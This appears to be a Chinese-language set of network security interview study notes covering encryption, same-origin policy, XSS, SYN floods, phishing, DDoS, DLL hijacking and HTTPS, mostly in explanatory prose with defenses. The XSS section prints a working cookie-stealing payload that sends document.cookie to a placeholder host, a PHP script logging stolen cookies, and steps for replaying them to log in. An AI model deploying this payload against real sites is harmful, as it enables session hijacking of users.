在面试时，网络安全也会被经常问到，至少要知道常见的攻击，以及防御措施。在这里 Mark 下，不做深入分析。

对称加密和非对称加密

对称加密：加解密用同一密钥，密钥维护复杂 n（n-1）/2，不适合互联网传输密钥，加解密效率高。应用于加密数据。

非对称加密：公钥推不出私钥，每个用户一个非对称密钥对就可以，适合于互联网传输公钥，但是加密效率低，应用于数字签名及加密。

什么是同源策略?

为了防止不同域在用户浏览器中彼此干扰，浏览器对从不同来源（域）收到的内容进行隔离。
浏览器不允许任何旧有脚本访问一个站点的 cookie，否则，会话容易被劫持。

只有发布 cookie 的站点能够访问这些 cookie，只有通过该站点返回的页面所包含或加载的 JavaScript 才能访问 cookie。

cookie 存在哪里？可以打开吗?

C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Cookies
工具--文件夹选项--查看--将隐藏被保护的文件的对勾去掉就会看到 cookies 文件夹。

xss 如何盗取 cookie?

攻击者代码：

```
<?php

$cookie=$_GET['cookie'];

$time=date('Y-m-d g:i:s');
```

```
$referer=getenv('HTTP_REFERER');

$cookietxt=fopen('cookie.txt','a');

fwrite($cookietxt,"time:".$time." cookie:".$cookie."
referer:".$referer.""); 注意双引号，容易出错

fclose($cookietxt);

?>
```

脚本端：

```
<script>

document.write('<img
src="http://ip/cookie.php?cookie='+document.cookie+'" width=0 height=0
border=0 />');

</script>
```

获取到 cookie 后，用 firebug 找到 cookie，新建 cookie
加入 cookie，用 referer 来提交，无需输入帐号密码直接登录进去！

xss 有 cookie 一定可以无用户名密码登录吗?

基本可以。因为把 cookie 的值给浏览器，浏览器去访问页面会用已有的 cookie 去访问，如果 cookie 有效，就会直接进去。

xss 如何防御?

1.对前端输入做过滤和编码：

- 比如只允许输入指定类型的字符，比如电话号格式，注册用户名限制等，输入检查需要在服务器端完成，在前端完成的限制是容易绕过的；
- 对特殊字符进行过滤和转义；

2.对输出做过滤和编码：在变量值输出到前端的 HTML 时进行编码和转义；

3.给关键 cookie 使用 http-only。

SYN 攻击原理

SYN 攻击属于 DOS 攻击的一种，它利用 TCP 协议缺陷，通过发送大量的半连接请求，耗费 CPU 和内存资源。

SYN 攻击除了能影响主机外，还可以危害路由器、防火墙等网络系统，事实上 SYN 攻击并不管目标是什么系统，只要这些系统打开 TCP 服务就可以实施。服务器接收到连接请求（SYN=1），将此信息加入未连接队列，并发送请求包给客户（syn=k,ack=j+1），此时进入 SYN_RECV 状态。当服务器未收到客户端的确认包时，重发请求包，一直到超时，才将此条目从未连接队列删除。配合 IP 欺骗，SYN 攻击能达到很好的效果，通常，客户端在短时间内伪造大量不存在的 IP 地址，向服务器不断地发送 syn 包，服务器回复确认包，并等待客户的确认，由于源地址是不存在的，服务器需要不断的重发直至超时，这些伪造的 SYN 包将长时间占用未连接队列，正常的 SYN 请求被丢弃，目标系统运行缓慢，严重者引起网络堵塞甚至系统瘫痪。

什么是网络钓鱼?

网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出敏感信息（如用户名、口令、帐号 ID 、ATMPIN 码或信用卡详细信息）的一种攻击方式。

最典型的网络钓鱼攻击将收信人引诱到一个通过精心设计与目标组织的网站非常相似的钓鱼网站上，并获取收信人在此网站上输入的个人敏感信息，通常这个攻击过程不会让受害者警觉。

它常常导引用户到 URL 与接口外观与真正网站几无二致的假冒网站输入个人数据。就算使用强式加密的 SSL 服务器认证，要侦测网站是否仿冒实际上仍很困难。网钓是一种利用社会工程技术来愚弄用户的实例。它凭恃的是现行网络安全技术的低亲和度。

DDOS

分布式拒绝服务(DDoS:Distributed Denial ofService)攻击指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动 DDoS 攻击，从而成倍地提高拒绝服务攻击的威力。通常，攻击者使用一个偷窃帐号将 DDoS 主控程序安装在一个计算机上，在一个设定的时间主控程序将与大量代理程序通讯，代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术，主控程序能在几秒钟内激活成百上千次代理程序的运行。

什么是 CC 攻击?

这个也是知道一些，知道他是 DDos 的变种，正常请求伪造，服务器资源耗尽，最终还是看看百科答案吧：CC 攻击是 DDOS（分布式拒绝服务）的一种，相比其它的 DDOS 攻击 CC 似乎更有技术含量一些。这种攻击你见不到真实源 IP，见不到特别大的异常流量，但造成服务器无法进行正常连接。CC 攻击的原理就是攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽，一直到宕机崩溃。CC 主要是用来攻击页面的，每个人都有这样的体验：当一个网页访问的人数特别多的时候，打开网页就慢了，CC 就是模拟多个用户（多少线程就是多少用户）不停地进行访问那些需要大量数据操作（就是需要大量 CPU 时间）的页面，造成服务器资源的浪费，CPU 长时间处于 100%，永远都有处理不完的连接直至就网络拥塞，正常的访问被中止。

Web 服务器被入侵后，怎样进行排查?

最简单就是

- 查看下 web 服务器日志
- 看看有没有异常端口开放
- 使用安全狗等服务器安全软件清扫

dll 文件是什么意思，有什么用?

DLL（Dynamic Link Library）文件，即动态链接库，也有人称作应用程序拓展。

Windows 应用程序中，实行了模块化设计，也就是说并不是每个应用程序都编写完所有的功能代码，而是在运行过程中调用相应功能的 DLL，不需运行的功能就不调用，所以大大加快了程序的加载速度和效率，其他应用程序也可以调用相关的 DLL，这样也有利于促进代码重用以及内存使用效率，减少了资源占用，而且程序更新时也只要更新相关的 DLL 就可以了。

要注意的是，有些病毒也会伪装成 DLL 文件，并替换系统的 DLL 文件，需要我们防范。

DLL 劫持原理

由于输入表中只包含 DLL 名而没有它的路径名，因此加载程序必须在磁盘上搜索 DLL 文件。首先会尝试从当前程序所在的目录加载 DLL，如果没找到，则在 Windows 系统目录中查找，最后是在环境变量中列出的各个目录下查找。利用这个特点，先伪造一个系统同名的 DLL，提供同样的输出表，每个输出函数转向真正的系统 DLL。程序调用系统 DLL 时会先调用当前目录下伪造的 DLL，完成相关功能后，再跳到系统 DLL 同名函数里执行。这个过程用个形象的词来描述就是系统 DLL 被劫持（hijack）了。

伪造的 dll 制作好后，放到程序当前目录下，这样当原程序调用原函数时就调用了伪造的 dll 的同名函数，进入劫持 DLL 的代码，处理完毕后，再调用原 DLL 此函数。

如何防止 DLL 劫持

DLL 劫持利用系统未知 DLL 的搜索路径方式，使得程序加载当前目录下的系统同名 DLL。所以可以告诉系统 DLL 的位置，改变加载系统 DLL 的顺序不是当前目录，而是直接到系统目录下查找。

Https 的作用

- 内容加密建立一个信息安全通道，来保证数据传输的安全；
- 身份认证确认网站的真实性
- 数据完整性防止内容被第三方冒充或者篡改

HTTPS 和 HTTP 的区别：

https 协议需要到 CA 申请证书。

http 是超文本传输协议，信息是明文传输；https 则是具有安全性的 ssl 加密传输协议。

http 和 https 使用的是完全不同的连接方式，用的端口也不一样，前者是 80，后者是 443。

http 的连接很简单，是无状态的；HTTPS 协议是由 SSL+HTTP 协议构建的可进行加密传输、身份认证的网络协议，比 http 协议安全。
